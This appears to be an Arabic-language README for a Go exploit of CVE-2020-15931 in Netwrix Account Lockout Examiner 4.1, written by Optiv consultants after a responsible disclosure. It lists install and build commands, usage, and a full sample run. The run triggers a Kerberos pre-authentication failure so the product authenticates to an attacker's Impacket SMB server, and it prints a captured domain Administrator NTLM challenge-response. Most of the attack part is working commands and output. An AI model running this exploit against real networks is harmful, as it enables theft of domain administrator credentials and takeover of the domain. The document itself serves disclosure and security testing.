
Netwrix Account Lockout Examiner 4.1 ثغرة كشف بيانات اعتماد حساب مسؤول المجال
يتيح Netwrix Account Lockout Examiner (ALE) قبل الإصدار 5.1 لمهاجم بعيد غير مصادَق إمكانية تحفيز اتصال بنظام يتحكم فيه المهاجم والتقاط استجابة التحدي NTLMv1/v2 لحساب يتمتع بصلاحيات مسؤول المجال. سيكون حساب مسؤول المجال مُهيأ بالفعل مع المنتج كما هو مطلوب للتثبيت. يمكن للمهاجم استغلال ذلك عبر توليد حدث واحد من نوع Kerberos Pre-Authentication Failed (معرف الحدث 4771) على وحدة تحكم المجال.
يمكن العثور على مزيد من التفاصيل حول الثغرة في المدونة التالية.

تم اكتشاف الثغرة في بيئة حية بواسطة Robert Surace (@robsauce) و Daniel Min (@bigb0ss)، المستشارين الأمنيين في Optiv، أثناء إجراء تقييم أمني. وعند تحديد CVE-2020-15931، تواصلت Optiv فورًا مع Netwrix للإفصاح المسؤول عن الثغرة المكتشفة.
طُوّر سكربت الاستغلال بلغة golang. ثبّت التبعيات التالية:
go get github.com/fatih/color
go get github.com/ropnop/gokrb5/client
go get github.com/ropnop/gokrb5/config
كما يستخدم smbserver.py من Impacket.
pip install impacket
أخيرًا، قم بتنزيل سكربت الاستغلال وبنائه.
git clone https://github.com/optiv/CVE-2020-15931
go build cve-2020-15931.go
$ ./cve-2020-15931
_______ ________ ___ ___ ___ ___ __ _____ ___ ____ __
/ ____\ \ / / ____| |__ \ / _ \__ \ / _ \ /_ | ____/ _ \___ \/_ |
| | \ \ / /| |__ ______ ) | | | | ) | | | |______| | |__| (_) |__) || |
| | \ \/ / | __|______/ /| | | |/ /| | | |______| |___ \\__, |__ < | |
| |____ \ / | |____ / /_| |_| / /_| |_| | | |___) | / /___) || |
\_____| \/ |______| |____|\___/____|\___/ |_|____/ /_/|____/ |_|
[robSauce & bigb0ss] v1.0
[+] Netwrix Account Lockout Examiner 4.1 Exploit Script
Required:
-d Domain name
-dc Domain controller
-u Valid username
Optional:
-h Print this help menu
Example:
./cve-2020-15931 -d target.com -dc 10.10.0.2 -u jsmith
(ملاحظة: في وقت كتابة هذا الشرح، لا يمكن تحديد هذا الهجوم إلا عبر هجوم أعمى (blind-based attack). وذلك لأنه من الصعب تحديد ما إذا كانت المؤسسة المستهدفة تستخدم Netwrix Account Lockout Examiner على شبكتها لتدقيق مصادقات الحسابات أم لا.)
$ ./cve-2020-15931 -d bosslab.com -dc 10.10.0.2 -u b0ss1
_______ ________ ___ ___ ___ ___ __ _____ ___ ____ __
/ ____\ \ / / ____| |__ \ / _ \__ \ / _ \ /_ | ____/ _ \___ \/_ |
| | \ \ / /| |__ ______ ) | | | | ) | | | |______| | |__| (_) |__) || |
| | \ \/ / | __|______/ /| | | |/ /| | | |______| |___ \\__, |__ < | |
| |____ \ / | |____ / /_| |_| / /_| |_| | | |___) | / /___) || |
\_____| \/ |______| |____|\___/____|\___/ |_|____/ /_/|____/ |_|
[robSauce & bigb0ss] v1.0
[+] Netwrix Account Lockout Examiner 4.1 Exploit Script
[+] DC: 10.10.0.2
[+] Domain: bosslab.com
[+] Username: b0ss1
[+] Password: wrongPass
[+] Event ID 4771 (Kerberos Pre-Authentication Failed) Triggered!
[+] If vulnerable, you will get a NTLMv1/2 of the Netwrix service account.
[+] SMB Server Started...
Impacket v0.9.22.dev1+20200607.100119.b5c61678 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.0.2,59264)
[*] AUTHENTICATE_MESSAGE(BOSSLAB\Administrator,BOSSLAB-DC01)
[*] User BOSSLAB-DC01\Administrator authenticated successfully
[*] Administrator::BOSSLAB:17dcc32c6eafc48d:f798e7c906eb1b639722614f1417ded1:0101000000000000be18...REDACTED...0000000
[*] Disconnecting Share(1:IPC$)
[*] Closing down connection (10.10.0.2,59264)
[*] Remaining connections []
Netwrix Account Lockout Examiner 5.1
Event ID 4771
Impacket smbserver.py
Gokrb5 Client
CVE-2020-15931